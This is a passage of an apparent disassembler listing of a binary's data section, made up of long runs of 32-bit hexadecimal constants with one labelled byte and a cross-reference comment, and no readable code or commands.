4C2F0B0Ch, 9A007C2Eh, 33EDB5FFh dd 1DABD97h, 0EEB5465Eh, 34616A91h, 0B0020117h, 2C966ADCh dd 8D8E6FF8h dd 0DEBF8110h, 233E71E4h, 6BD81538h, 583ED680h, 0C637806Ah dd 16424733h, 0A86305FCh, 0A9E30EEEh, 5AE12246h, 0B3FFA0F8h dd 7C0E7925h, 698494C4h, 64DF8005h, 0EC8CBBBAh, 211D41C9h dd 6A01E176h, 0FDB55B21h, 0BD3118FAh, 0AD280D21h, 0A150C110h dd 0B5683Ah, 0AC6B7BCEh, 14EAE01h, 9454FA3Ah, 61D85131h dd 7D85D480h, 0D1690364h, 906D90CCh, 1FE2124Ch, 8403FD18h dd 0E9B819C1h, 7E5FF193h, 0B001888Dh, 246A0911h, 0C529C265h dd 7627305Eh, 96FCE924h, 5D3A050Bh, 0BD33C190h, 816FD21h dd 484F1169h, 7ABF7821h, 6B35201Fh, 2F1AA594h, 19764CFEh dd 4F24B19Dh, 23664395h, 4FCB724Fh, 4A20C710h, 2044DC8h dd 40F11B9Fh, 5440F635h, 749DDA8Ah, 3095D453h, 8F3375h dd 0FAEC5DD6h, 7FCB916h, 74805AB3h, 0CED81118h, 270BB5F3h dd 2D1000D6h, 0E4BEB077h, 2B2B810Dh, 0DA03B96Fh, 0D590CAF4h dd 2ABB78E8h, 14E29E17h, 61EB5001h, 0A36CD22Bh, 1A21F480h dd 7901785Fh, 0D1CBABC1h, 6D6A299Ch, 0C0EC5A32h, 2CDB2E45h dd 0EDF84E06h, 8C1DA8D5h, 0CF8F0200h, 0AC06FC8Bh, 25572452h dd 77109BEh, 29618990h, 69CFF197h, 7B898835h, 0C1B882AEh dd 0F7F2290Fh, 7829DB9Fh, 383B8FB5h, 51E1092Eh, 0A16A02A8h dd 14C7772Dh, 97FDF845h, 0D54E1EB8h, 952FAFECh, 13FC2BE4h dd 5F2A1CB5h, 0B036B796h, 122884Ch, 4B9CEBCDh, 20373583h dd 715B1F42h, 0B99226E3h, 4AC6B872h, 88968801h, 0FF377000h dd 73757CF1h, 366B0315h, 0E3E68226h, 754E1E2h, 322D1CDCh dd 0B135C17Ah, 2B27AC71h, 404D95E0h, 0BF166602h, 53A25B3Dh dd 0EE037984h, 0A8149DEh, 2BFA9F1Dh, 4BDAB3E2h, 1FB1AA02h dd 21512CD4h, 0D4F75D2h, 0B3328A40h, 0C8604E05h, 1E017B47h dd 673CD488h, 0C13EDD96h, 2F2B03BAh, 0F4DFB301h, 0E82611Ch dd 0BB3D98Ch, 1E301AD4h, 9FFCEDD3h, 116F5A2h, 87EB6082h dd 916935DDh, 104D8216h, 0D1A3602Fh, 0F67C820Ch, 50FB53EBh dd 0A30374C2h, 9AA47139h, 0F7C80973h, 0F9605CB7h, 504B29D7h dd 372E66Fh, 55F054A6h, 0A8B19ED3h, 9E5E283Bh, 7910C780h dd 7D2A969h, 3034CAE0h, 5B3A8038h, 76C912EBh, 44E85D23h dd 0AB125868h, 2AAADC7h, 5B4876BEh, 0A77E2D78h, 29525707h dd 7E890195h, 1546DE1Fh, 8BBDB60Eh, 89E4A452h, 0F9A673B5h dd 7DB83097h, 95E90540h, 0FB968C56h, 285018A3h, 4FE1E60Ch dd 6FF8CD40h, 92AC483h, 1A058D8Fh, 0E2A5F6FBh, 60ED7CBCh dd 4B9BD0Bh, 89FE2BC4h, 0FD160BBDh, 0FB6BAF7Ch, 2E002457h dd 0D60DE9D3h, 795FFE43h, 80C591B8h, 2BC2EEF3h, 25B17EFBh dd 67019260h, 0D9B0318Bh, 0C6CFDB90h, 55697D7Eh, 86603DCDh dd 168EE10h, 1B393D2Eh, 8B028F0Fh, 40F88A23h, 7F3ED164h dd 78D5B326h, 4A0532DDh, 5C433CD0h, 8DDA0BFBh, 1D512B5Bh dd 55006418h, 0E5154D5Fh, 5FB018ADh, 50F34Eh, 42971A69h dd 7F8950C6h, 32C10037h, 92438A06h, 0D87D8B90h, 46F63BE9h dd 0CFA270B4h, 859DE484h, 3BC78086h, 42B9615Fh, 852107E9h dd 3D3F2ED9h, 799B2F53h, 7700EB92h, 28807D4Eh, 0A0469D33h dd 6469949Dh, 0AB533D20h, 2813C8h, 0AA8EF9DCh, 5FBB7CCFh dd 0C837514Fh, 615C7C89h, 0EF260BFh, 0EDBDF5BCh, 0E913C05Eh dd 3C026F4Dh, 9B1CFEBFh, 50497E7Ch, 7FE10444h, 0F6F0F9E6h dd 2126A1FBh, 0FD154ABDh, 4F11A3D9h, 1B86E67h, 8693F545h dd 0EE70B97Fh, 9B2B4E15h, 0C91AC887h, 0CD0E6D5h, 25C5BD2Bh dd 954E315Ch, 0D82E31B5h, 737EBBA8h, 9D031F8Ch, 0D376A779h dd 0E5C531E7h, 6F4231AFh, 0DE45CD59h, 5283EAB7h, 0B85C8B6Fh dd 2749BD09h, 2E61514h, 0B7A24500h, 6AA5D88Eh, 0D96C15BCh dd 808294AAh, 277E25D7h, 9D895661h, 5B36922Ah, 46D6AE7Eh dd 0F3C90218h, 7F018C7Fh, 0EB81BA18h, 83A8D60Eh, 98C7C026h dd 9F7322AEh, 3D5751ABh, 0AD7F007Bh, 85D5D31Ah, 0A2E58812h dd 958042E8h, 534581E3h, 3572B913h, 0A464802h, 666B7E74h dd 0AC259266h, 7EAE9A4Eh, 0C890872h, 203F4A24h, 0C2614F23h dd 1C7EF844h, 0C0106D2Fh, 97BE7E8Ch, 1B13C617h, 5D096987h dd 1812EBBBh, 2DBB03E9h, 4CDA3BEBh, 0AA688081h, 0F5FA4119h dd 0DD8A0122h, 0FE255879h, 46D66476h, 2BEA1615h, 1AAC73ADh dd 16B1078Ch, 0B8F8D61h, 115AE0F8h, 238B37EDh, 0AE07D184h dd 1AC8BFDBh, 3B8D40CEh, 4FF59958h, 0FF34C5BFh, 1E808ADEh dd 33522AC0h, 0D65BD10h, 27A1FE50h, 28E51F9Dh, 73E74113h dd 4DC8DCB0h, 901AD800h, 4BB70585h, 0D43FEB31h, 6E5C8003h dd 57E8967Ah, 7CB2B00h, 0CCB35650h, 6F20F75Bh, 0F6345B29h dd 301DF28Eh, 5900A511h, 0E5202D67h, 0C443608Ah, 0EE0D1382h dd 19C887DAh, 909DCAC0h, 0DBA3258Eh, 5A29AE76h, 53632756h dd 14C71E6h, 0F12F258Ah, 0AF7DC4C5h, 0EB4ED87Bh, 5D4C465Ah dd 0C70074E5h, 99A46EDCh, 8CA31359h, 8240FEE5h, 16B7BA17h dd 8A2C181Fh, 5BDAFE56h, 0EF03EC97h, 1285B36Ah, 37ADC6D9h dd 0CEDDECE9h, 3E51E2Fh, 0BAE9121Dh, 0DF675708h, 95D617A6h dd 8B027EF9h, 5F32E9D9h, 0DD4D0D89h, 22B53C2h, 54F22835h dd 0B25F8B0h, 7C926A69h, 8C39F4F8h, 0C48300A1h, 6E1BA6E3h dd 0B4604869h, 5A251D10h, 0B87C23B6h, 58199AECh, 0DA392890h dd 1DB5BA85h, 0E703BBD2h, 0FDF4B750h, 0F17786Bh, 21560587h dd 816C0018h, 6219BBDBh, 7B975178h, 0DC0A7A48h, 2022162Bh dd 19B6D249h, 5EDE819Ch, 0C17FE923h, 0DEB1C8Ch, 9BF6FCh dd 3C8384CCh, 0CE08C104h, 2FE52320h, 26C3F49Ah, 0B908AD94h dd 0E9CAC3Bh, 17E18509h, 0F0AAB494h, 0FBB76AA1h, 6ADA783Ch dd 95F27B5Bh, 0BF29CF00h, 5FBA6FDBh, 1B2D581Dh, 4A787A80h dd 0ED2FAA6Eh, 0D31AB63Ch, 568274E6h, 0B95F20D5h, 12218978h dd 0DA4A3778h, 0C01CC805h, 3977ABCDh, 0D0C1D01h, 0D1FFC5DBh dd 0F7B88039h, 0C20035F6h, 0F5600CFAh, 12290940h, 0FC2EFD9Dh dd 82E9E497h, 0A6F07156h, 0DE5E8B2Fh, 4A6AB0F0h, 0E003B602h dd 7F864EE2h, 8B182FCCh, 324A8CD6h, 0F257253Ch, 2FB7BFE8h dd 2402802h, 20EE8022h, 0B04EB5F3h, 0ECEE2579h, 0C14F6F56h dd 59BF37B0h, 2E25E3C4h, 0CD954311h, 10AD998h, 382EC4E9h dd 0C490DC5Dh, 0EB386D9Dh, 6A31E55Eh, 0A62F26C9h, 95BF0085h dd 177D8FA0h, 8DED4B6Eh, 2A900963h, 0FB92B7DBh, 374018D4h dd 976D0DB6h, 0F446126Fh, 252BE656h, 6D905F60h, 614BCE8Bh dd 1988069Bh, 801EC4h, 25907F67h, 0BA208D89h, 0BD295250h dd 5F8B2D54h, 168C5B4Bh, 6CCF2F80h, 689DD974h, 0FE2F3BAEh dd 0CD7C2F77h, 398BE16Fh, 622B09F0h, 812025F8h, 1C6505D7h dd 1B009CDh, 0E870E6F5h, 7187100Eh, 0D4972Ah, 1A015058h dd 0A533898Dh, 12B64377h, 0B4E25292h, 2B88F0F7h, 1725319Dh dd 21C8B6A3h, 0EF212AA2h, 0A02E5F53h, 0D1BD2AF5h, 250588C3h dd 7D090126h, 9F1591Eh, 0ED58FAB3h, 597C91B0h, 97C82B80h dd 48B5306h, 0FCC8D14Ah, 86E27Bh, 6EAB5E97h, 99191639h dd 0ED4C0400h, 2BD2E2F1h, 0B8E95E7Ch, 56F7C23Ah, 8D6BE05Ah dd 3F60810Ch, 0BDC20FB8h, 5F4E11B9h, 4282AA00h, 0BAF0A43h dd 80614B4Fh, 0F05BB04h, 103FEC36h, 77838262h, 4C99914Eh dd 13D3D880h, 483E36h, 6E6199DCh, 37349FD7h, 2AC89310h dd 5F018B02h, 2BD13AE9h dd 5723CD09h, 0D89D5864h, 52D395B4h, 57122191h, 6620FA31h dd 0A0A5835Fh, 4A80FE1Dh, 9550E4D7h, 10D284A4h, 471106B6h dd 4560402Ah, 361FA000h, 21C78AA2h, 9D1007EBh, 2233B6Eh dd 1840AC0Fh, 41B2886Ah, 30BAD94Bh, 2F398D77h, 0AA42B980h dd 0B5E818AFh, 0E57500A6h, 6A1F64CDh, 6300270Eh, 3BAF3A65h dd 645AD6B2h, 0B8FCEE05h, 0B8819F13h, 4237DD80h, 0B13F61F2h dd 0C7B05DFAh, 912D9529h, 4BC5D913h, 0D54931EDh, 4855885h dd 0FADB2BCBh, 3D2B568Dh, 29A77103h, 0EFB879h, 0D6706143h dd 11369C88h, 72E98E5Eh, 55C67A9h, 0AF5D6B2Ah, 0FB53D71Dh dd 0F8D94ECDh, 0DE61202Ah, 9905E45Dh, 0AA83CA19h, 0C08221ABh dd 71B0C4E1h, 5F059D00h, 0FA0140BDh, 50D4F2C9h, 380490F7h dd 8DCB5BB2h, 25748903h, 5ADE5903h, 4D9FE4D8h, 34ACC033h dd 2A04F542h, 0C51D4835h, 7CA2D9ACh, 0C380915Bh, 0EED2B7C6h dd 8C4400B0h, 108220D4h, 9C02F96Ah, 0A4533AB1h, 4C2E462Ch dd 192A1A60h, 0DD614A9Fh, 0A9C63DD1h, 6EFA8E84h, 4A72F81Ah dd 0E69317E9h, 6217A2C0h, 484464Bh, 9E1166EEh, 0A1BFAC14h dd 7A3B0478h, 0EB1117BDh, 0CCA45200h, 9BF3A5Fh, 6F1DF8E4h dd 5E46C859h, 2542906Bh, 0F6F124A5h, 232778CFh, 0B31D5B9Dh dd 0C0F64EDDh, 0E45E72A2h, 0B0133540h, 0CC660073h, 39826B61h dd 11A864F2h, 0A6131B5Eh, 0E8B87FC3h, 0D558AAC9h, 5483E295h dd 6DBF01D6h, 934217Bh, 7E75A13Eh, 0FAF0D5F6h, 0E828172Ch dd 81000B13h, 4F505C3Bh, 75637014h, 0CA80007Ch, 82B7F6D4h dd 609F328Dh, 4AE859A2h, 0BBC08C5Bh, 250EF03Ch, 0BEEF6E7Ch dd 562FD426h, 4AB70AEh, 738EE0B6h, 0FA6EC3E4h, 90FF0613h dd 32BB1F16h, 66F5470Fh, 5413EE0h, 0F6906D93h, 0E8F2E31Dh dd 74BE742Fh, 0BAC197CDh, 5F5678D9h, 0A8A07CE7h, 9D707A02h dd 0EBE03919h, 7EA3D56h, 90DDC531h, 0CCAF68B4h, 0FF106928h dd 0FA80F94Ah, 0F576CF50h, 16800D78h, 6E7338FAh, 2EB3138h dd 4341A007h, 0A2CE5593h, 0CE1CF125h, 5F317603h, 12F3B9C1h dd 499E0226h, 0D6F5C680h, 8C4B937Bh, 16B21EF6h, 4BEC2630h dd 601E8C55h, 8D295104h, 0A4FB1615h, 11259EDBh, 0E620C661h dd 436F12E9h, 322E347h, 74A8E781h, 5789BAFBh, 0C0E05ECDh dd 1C08C5F2h, 87B5E292h, 5B03602Eh, 0B2A62157h, 0B741619Bh dd 0CA6E018Dh, 0BCF93DECh, 13B4CA95h, 0AB464A89h, 1D00FE6Eh dd 0DA6FDFAh, 502D96DDh, 7082F452h, 3205771Eh, 310FDEACh dd 0B04B8FB8h, 1044E951h, 5C1400FBh, 0BA0F17Bh, 630071FEh dd 99C4614Fh, 0B496DF39h, 4105DC8Bh, 1A606B2Fh, 35E7B8Ch dd 9E573523h, 0C8E8E002h, 1300922Bh, 0B2FD6E27h, 5A268658h dd 8363C8D2h, 469B2000h, 0F4AD0928h, 2A387777h, 61797Fh dd 1462E89Fh, 4A988565h, 0E5C70E00h, 57FA8F07h, 8D5F4B3Dh dd 0A7F02FCCh, 812A40D5h, 0BCDFE304h, 268076C3h, 95024D9Dh dd 60C129D9h, 902B8DB4h, 8B754595h, 8A57FBC5h, 5FC263B1h dd 635A19B1h, 1E5558C3h, 4D673B61h, 6E34C0A4h, 0B53F296Ch dd 82F7CB35h, 7193093Bh, 0F209D71Eh, 35FF506Eh, 801A11F8h dd 97D33C40h, 0D8F22785h, 0F01D7E4h, 0FF21935Eh, 383613BBh dd 0EC3DC04Fh, 7C9D6190h, 0B65949D0h, 0D4EAF6E9h, 0F94AF4FEh dd 3338D2CAh, 0EEC8759h, 8555612Eh, 0CB33A509h, 1A235078h dd 0A5E8BF9Dh, 614BC38Ah, 5EBA0FF3h, 0C501506Ah, 14A87921h dd 0A4DF026Bh, 7ABA2F8Ch, 0B34803C0h, 0EDFA8AD7h, 2D628Ch dd 0E065C12Bh, 0CDA93A67h, 0FA773FEAh, 4FF51497h, 0E07AFF7Eh dd 634EC904h, 341D8E02h, 0A6AF5A51h, 4D73E793h, 60FD8AA8h dd 0BD1CE5FFh, 125CB779h, 8A03D31h, 74A5553Dh, 1984CF5Dh dd 25802827h, 0E3C6ADD3h, 5DCF2BCh, 78B83723h, 0FC20AE38h dd 3F155C6Eh, 6A85857Eh, 0B29603AAh, 0FD69000Eh, 27B4CE93h dd 0FB73CF9h, 40B7F85Fh, 53006020h, 7270BA5Eh, 6261277Fh dd 0D1DC896h, 17C9A94h, 220A092Fh, 5F047976h, 907524BAh dd 0B460C4Bh, 5BB604DBh, 46D6157Eh, 57D60919h, 0DB89DF89h dd 58A4EF5Bh, 974DE0D6h, 7C5BD609h, 4404CD8h, 0F850E6C6h dd 58A5E35Bh, 2EAD16EBh, 0A996ABF9h, 723DA973h, 530CBBD3h dd 5650652Dh, 0FAB42C20h, 0C85E78B6h, 0D500CFC4h, 9B78E1D9h dd 41CDB3Eh, 9AB839E8h, 6274BFAFh, 0C4A829ADh, 0C09EA500h dd 58F021AAh, 0DD0E5834h, 0F6488012h, 301AB244h, 5706B599h dd 0E56F4C1Eh, 0D88B2544h, 5470F1h, 0CA9C5C27h, 9ED13D28h dd 0E9B95475h, 0B1F8B81h, 0BB78635Fh, 5C6300D6h, 5039CB2Ah dd 0F2A2605Ah, 2256FB00h, 8F1F35Bh, 283F1E02h, 0D5927C58h dd 66FE8A44h, 742D4FBCh, 0BFDF458Dh, 17232D6Bh, 8C3A7002h dd 0F48275F2h, 4A5EB894h, 45207169h, 2B7BAA57h, 56B66A01h dd 30A8E2B7h, 2D41512Ah, 152C9071h, 1F562E80h, 0D970F26Ch dd 41D02509h, 0D6A37593h, 0C02F5B7h, 0BAC6FCBBh, 0DD6A5D28h dd 2704DD7Eh, 1FEA9655h, 0C1FBAD08h, 0FE181B79h, 728ADF00h dd 92B23FE8h, 0A7BAB1F5h, 718B8975h, 5F03543Ah, 31D63B53h dd 95A1063h, 0DFEF4827h, 0F2E07FFh, 30035E6Ah, 0B7DC4F94h dd 0AE52E136h, 0B4A3F1E7h, 4B1D5430h, 0D2C6F234h, 3FA908F9h dd 885B75F3h, 507FB34h, 58555F6Dh, 0CD2A3DE0h, 29CB0963h dd 84795383h, 10542444h, 0A044C4C0h, 303AC064h, 0F22578D4h dd 450E601h, 2B7943BBh, 7F4CBC05h, 3792C9FCh, 0B32B1E97h dd 0BE6E582Bh, 601E072Fh, 80134540h, 0E0971CE9h, 0E8F781A3h dd 7DBC2DA7h, 8F423EF8h, 5BD290Eh, 9D090510h, 70BF2545h dd 0E62ABB44h, 5053E813h, 0A6800EF9h, 5C6B190h, 4694A02h dd 5821A31Ch, 0ED5F5B6Ah, 0E0A9978Eh, 6500CEB8h, 0DD4A71A7h dd 0BF6EB309h, 0E04EE1CFh, 0DCBB2A5Bh, 0E3742782h, 722D4356h dd 0C8F39578h, 0DD67F97Bh, 0C6359841h, 9DBC802Bh, 0E4B72C75h dd 90FC2E88h, 228B1C70h, 0A81230F1h, 0DE6A2A25h, 1900DE39h dd 0BF58317Dh, 4CA096F0h, 0D1C50706h, 0BB6C0222h, 0DB624969h dd 5B69BB56h, 0BF35A7B5h, 3209D30Fh, 17913A04h, 6296BF00h dd 0FF2D4258h, 1CD9B7D1h, 0F8B500C9h, 0ADA26B41h, 2FD641B7h dd 42B8382Eh, 4D046BFh, 0B589026Ah, 4033BCB9h, 84583BAh dd 25CFB62Eh, 420DFEFEh, 0BA5528A9h, 4671C8h, 0F6EBEFDBh dd 0C48649Ch, 7B9B3B86h, 2D126A07h, 2660581Dh, 4B81E95Dh dd 10638B0Fh, 15F8C63Fh, 0B2A4018Ch, 21BD0160h, 3CC87F08h dd 2E618111h, 0DD04E36Eh, 8473E778h, 14D5FB83h, 23256BBEh dd 0BA490118h, 3A6A66E9h, 0BF00F7F3h, 377A1068h, 0A0958531h dd 25DB8103h, 731E01ADh, 0DF59BB90h, 0D850E530h, 953E16A4h dd 0FA8B1251h, 23976EBBh, 0AD311215h, 0FFF8C9B0h, 33B053C6h dd 0FB6A0740h, 0DCF03236h, 0A33E70D4h, 76F71615h, 23E18C04h dd 0BC5A9CB9h, 0FB43A04Bh, 5028FCBCh, 458C388h, 0FC4D2463h dd 88AAB960h, 1E74A75Bh, 41D38100h, 25270474h, 0CE5070E6h dd 0A46B3041h, 0A46114Ah, 92973A22h, 0D790D7E3h, 7300A2A9h dd 8EC9E158h, 12A440FAh, 0E1C52FFBh, 0F5AC41A7h, 0B63B18h dd 4CABA84Ah, 2562D2Bh, 0C1A3198h, 2740A190h, 0ECD29D61h dd 0DDAD46C9h, 800FEC18h, 604F1E64h, 8980E7A8h, 0E47CCAB8h dd 1F68DE3Eh, 78F0A395h, 5E3D31C8h, 2966E65Bh, 4280AEE9h dd 38A53658h, 153D0104h dd 0EA26CE95h, 2FF8D78Eh, 2B052143h, 0FE8A60C8h, 0DC12CC0Bh dd 2F9E0E9h, 0B2074161h, 367B4BB4h, 95AB3B11h, 90D18BECh dd 29C14418h, 21546DF6h, 43D387D4h, 0DADE9430h, 51F7002Ch dd 0F94CB0E6h, 0D1A2CC9Eh, 5B77157Ah, 9539E49Fh, 0D14DF490h dd 0DC9C0E0Fh, 0BF1760ADh db 6Eh, 0FEh, 0F7h byte_544547 db 5Bh ; DATA XREF: ___:off_445248o dd 105BF223h, 0F9C90C75h, 0E44F772h, 0A5BB0052h, 5F327109h dd 829937E9h, 0FF8D1AB9h, 29D90E03h, 11E17310h, 322B4D20h dd 8CA51F17h, 629D441Bh, 95893951h, 1BB75E82h, 4C1E05Ch dd 2E371943h, 0AAA401A0h, 9096FD25h, 0C2845Bh, 27654EF3h dd 6C14CB40h, 1169107h, 4A0278F0h, 2680E086h, 6B2A1AE0h dd 0B8537C5Fh, 9D0270h, 0A2D60AD8h, 0D1DDE2EAh, 0FE07DE97h dd 4FBBDB02h, 507CA349h, 6B15417Ch, 91476F3h, 0B984CDBDh dd 60929243h, 333818F7h, 1A552F95h, 8982217Bh, 421E98Dh dd 5956BC61h, 2794BC75h, 1E44541Bh, 0FCB0B600h, 0A86DC4F5h dd 0F22900C8h, 440122F4h, 374C200Fh, 0AC18C073h, 2FD1FCh dd 7CA7DA7Bh, 6EAAD7D3h, 6F5BCA2Ch, 28135988h, 22532ADh dd 7FFFCB3h, 6F09B89Ch, 0DAB460FBh, 7120AE3Ah, 9502FEB3h dd 0BC7C2E76h, 0AFE0E3AEh, 301C99F1h, 42134EC7h, 0AF3069B6h dd 9B9D15Eh, 0ED057B10h, 1719C5FFh, 0FC06A959h, 39058C14h dd 25699531h, 4A1B8AAFh, 0EF8F449Ah, 0FFF5D980h, 0D609B92Fh dd 0A9B59D23h, 0D681FE02h, 0E94E1846h, 904D2F19h, 41B5617h dd 252F5B3Eh, 0D674AEE5h, 0AAA52DE6h, 5F2081A1h, 9B8B95A1h dd 6868975Dh, 2B856069h, 795AEFD9h, 0EBE094B6h, 464EF5B6h dd 9C2D0C8Ah, 7F8409BDh, 80F828CCh, 5A1CC910h, 0CA7A90A1h dd 4EB8386Dh, 15EC84ADh, 65194A00h, 9A8B2D48h, 20EE90B0h dd 3762585h, 9774FABDh, 0AD7B4CBAh, 74082050h, 5E0E14E7h dd 7131F25Ch, 60E1FF69h, 3BE765CBh, 7F8845E3h, 4940CF61h dd 9888220Bh, 27C1278Dh, 3F110947h, 8ABB6602h, 0CCDE601Ah dd 0FC8E5ADCh, 0C8F604D3h, 0ECBC1B14h, 0DDE31C79h, 122A1232h dd 0BB8D16C0h, 89E63C64h, 0B99AAAA0h, 8D4E4B13h, 4A2F11A4h dd 0E8EAAD01h, 44C7B86Ch, 0F4A1600Eh, 0D509C22Dh, 0DB9D34C4h dd 18197134h, 0D93204F2h, 870E5FC0h, 0A8FCBB69h, 92F8142h dd 0C898DB2h, 76A7FF5Eh, 1646D64Dh, 5074C05Ah, 219C1AB7h dd 79950902h, 812A8006h, 2559B8C7h, 0EC57D8Ah, 0CE45112Fh dd 6BBCF57Eh, 50D9D8B1h, 606FF62Bh, 7FB46081h, 7C68A0E8h dd 0CCC80FD5h, 0D0778483h, 17FF6DAAh, 5ADC00Eh, 68A9212Fh dd 0B9455B5Ah, 3EE84E44h, 0F9E860C9h, 0FF899758h, 130B94DDh dd 853EE9FCh, 316F96h, 542FE4FBh, 1789438Bh, 0A92351B5h dd 0CF8D218h, 0A15B05D3h, 0DFDBEE2Ah, 98C470D2h, 2AE5160Bh dd 85CBEEC0h, 0FF8997D1h, 8E27BD5Dh, 3C689D0Fh, 0DCF2C160h dd 0D5240BABh, 0FC01CFA0h, 7AB22064h, 268135A0h, 9AFED72h dd 3ADF189Dh, 0F790F72Bh, 903EE1C1h, 0DFB68022h, 702072B2h dd 4386001Fh, 73FB18AEh, 71903AC3h, 5B4BD567h, 0E0896D7Bh dd 7DEBD25h, 4DBDFE77h, 60196437h, 13BBFB20h, 0C129052Fh dd 2F0446ACh, 0BF80D79Bh, 6DB52927h, 5CD92A44h, 35C0A996h dd 10568921h, 0C11E48h, 59850C15h, 1684B307h, 0C08A16F8h dd 8214BF53h, 0F1D770Bh, 3B1AD531h, 0B79966D7h, 5D74AE2h dd 74EA0B7Fh, 7A01BA4Ah, 0FEB38EBEh, 50C0E622h, 0B5A535BFh dd 0D18B1A35h, 8F8E65Dh, 8105880Fh, 4CF77BBFh, 4E5D2277h dd 0CBA7C8h, 9A6503BAh, 2240884Ah, 0E7641507h, 8F937B3Fh dd 5BCF8887h, 434AB458h, 0AF808368h, 0E000C321h, 0BC4EB95h dd 29F9982h, 4062446h, 0FC5E7A73h, 0EFC78061h, 55808F47h dd 4B135C47h, 0ECF2FD5Fh, 0F7B50039h, 66BD3660h, 0FA5ED0BFh dd 14B249A6h, 33015F32h, 3B61562Ah, 0B502296Eh, 0B926EFA0h dd 0F37A2674h, 0B7E9508Bh, 0B271FF14h, 78BB09F2h, 451079B4h dd 3D13F739h, 368B002Dh, 9B08E486h, 459F25EEh, 0D3940B5Dh dd 915678C7h, 0B355858h, 5FE1E9C1h, 0ECFAA435h, 0BA1C0460h dd 0AF23BDCEh, 0F62E65F5h, 0D3D7E040h, 0DFAE0080h, 98BB487Ah dd 464EE60Ah, 3122228Ah, 0CB80F90Ah, 2059F62Bh, 11D523A5h dd 202FE84Ah, 0CF593D61h, 0F7ADB53Dh, 8FB0F14Ah, 2A5B8110h dd 6BA0E3CAh, 390BD00Dh, 0E6CBFB10h, 18849FEBh, 0C005E904h dd 1B4319BFh, 0EFC462Ch, 72418529h, 56C4EBBDh, 138BAC5Bh dd 0DF2DA8Bh, 0E6800588h, 3F103D61h, 89570596h, 710CF9BDh dd 6C810F74h, 5934A081h, 1D9900B0h, 0B4F653ACh, 9E173D6Fh dd 6BBE7BE8h, 51E575Ch, 3B3EFBB5h, 4DC404BBh, 7F1131Ah dd 6FAB8014h, 3A18057Bh, 5EC38CE4h, 0A2ABF4F1h, 6F6A97C3h dd 0F9ED047Dh, 0E8C81D9Dh, 4EB74F06h, 3CEF25B1h, 71125EA8h dd 236D6BFBh, 8F80381Ch, 5B0E96E6h, 3809289Fh, 0DF1BDF80h dd 0D7814F20h, 0B9D7A0Dh, 71C8FB04h, 0EA302FF3h, 9FC19D0Bh dd 86276B72h, 0F69B56B8h, 2022DFEh, 0F3C8B28Dh, 0FDFEC057h dd 815B801Ch, 9A95E73Ch, 0B76017D1h, 0B42980CDh, 0B952A6F8h dd 0F49FD377h, 0F871AFEAh, 0A3A50300h, 2CFD78h, 61F2E4E0h dd 295B191h, 99BCE54Fh, 0FF54A44Bh, 0F099B523h, 73124361h dd 704630Bh, 9D4E251Dh, 7E532BA9h, 0BB088992h, 0FC912219h dd 7A508908h, 16E54688h, 0B0786617h, 1B05B7C4h, 600B8CA9h dd 0A42F55CDh, 0BD001798h, 0AE039548h, 1B445D8h, 0D4024A34h dd 289ADF8Eh, 90EA96ABh, 1A4263D1h, 357FB200h, 0C154BD0Bh dd 3B2D16F8h, 6024EF38h, 2EC2A1DBh, 0E5C0D002h, 0B1AC2761h dd 22DD565Ch, 136CB004h, 0A35BF25Ch, 0CF81014Ah, 2BA25792h dd 2E50283Ah, 25213389h, 31602E51h, 0A45089DDh, 17D98B53h dd 0AF966159h, 0EF2BD330h, 809A007Bh, 0BFDCC96Fh, 6E1798D8h dd 9EEC5F0Fh, 0E92FFD12h, 8C19BC5Dh, 412F7700h, 23FBF670h dd 0E4E15F9Dh, 0AD27BDAAh, 80274E10h, 0B5E96B85h, 0B55417F9h dd 355F21ABh, 0F530A514h, 6009853Dh, 7DF921B4h, 0CF12D16Ch dd 0E5F290EFh, 0F0A53A88h, 5F758107h, 0E1DD352Fh, 0E4096ECEh dd 0F13DF5C6h, 2653909h, 5D2749A0h, 0C40B234Dh, 9BCD5DF1h dd 0C85101E0h, 0EF4B0028h, 0ACF7211Bh, 59ADC18Bh, 66BDBF62h dd 658E0053h, 0AE89E967h, 83592C86h, 0BD2B8250h, 5869E4C9h dd 28277E09h, 5BA0204Eh, 50811A49h, 6E0F9173h, 0EE572B2Ch dd 87B35C21h, 7BF2F53Eh, 1780AB9Bh, 396437EFh, 0B12CFC0Bh dd 40F8EF2Ah, 0CB2B9FD4h, 0CA52510Fh, 6AB7640Eh, 0DD2CDBBEh dd 38A4DFC2h, 810840EDh, 1094A41Ch, 4019D742h, 129D14A0h dd 44AB551Ch, 0C1607DDEh, 2326AFBh, 29D4A3E1h, 0C348A586h dd 882DEF80h, 17127A5Bh, 0BEF0A1F3h, 5EF98E62h, 355FE9FCh dd 0EE770EC7h, 891DC76Eh, 8D842631h, 70C4AAD1h, 7EA2D1B8h dd 0ED026A22h, 0FBF1E989h, 0B7B4F0AFh, 4D0305FBh, 0DA1EABB9h dd 4E97FC31h, 0B0C4B2C0h, 0C0021F5Ah, 0A2CCB965h, 785E5078h dd 0DB905AB3h, 62358F78h, 0CC4008F3h, 8B60019Ah, 550EB8CFh dd 0BB506035h, 0D91E2401h, 104AE975h, 4C0D2C3Ah, 1DE2D743h dd 7EAD30h, 0D329BBEDh, 90CBDC12h, 71F98A2Dh, 0E91354C9h dd 0E5B075E4h, 876500BFh, 0B3905C60h, 0F5A35083h, 0C0C0DBB5h dd 54ECF7E1h, 6D612576h, 8012EDECh, 0D3F109DFh, 18A7E3Bh dd 61FD1712h, 0C61572Ah, 69C4066Ch, 5C5F0B1Ah, 81F4EB90h dd 0A93301DCh, 17478B4h, 389360A6h, 4E214A40h, 0E8BEF929h dd 2290938h, 966420B1h, 536AE200h, 0B9719414h, 259E0670h dd 0DCEFAAAEh, 49E59D5Ah, 351D622Fh, 95A55029h, 5D08DB74h dd 1FE0252Ah, 0E42018Dh, 0BD25C44Eh, 53897B1Ch, 64804378h dd 0EA3FD063h, 94E87D5Eh dd 81B1B45Ah, 0EA631845h, 0EC547200h, 0BCF7B1A3h, 835F6B00h dd 5768C369h, 1416725Bh, 0D4BA28C7h, 0FC60C1C1h, 8D7D40E8h dd 79E47E17h, 72591600h, 0B6D1C595h, 0EC1E4E43h, 27062002h dd 0C77C615Bh, 0C148A947h, 3A8D29DAh, 4C2BDCE4h, 4B78BBC8h dd 808BF921h, 0CEAF47B6h, 77323B58h, 21F91980h, 8A5031E5h dd 330FED17h, 3760608Dh, 5B2317DEh, 0D1250C76h, 340F57Eh dd 147450E9h, 9AC50AE3h, 12C22071h, 4BD4BF29h, 37C4B257h dd 85F65DEAh, 890A95B5h, 837FEE0Ah, 50794BD3h, 18012C10h dd 0FF174DBDh, 189FD03Bh, 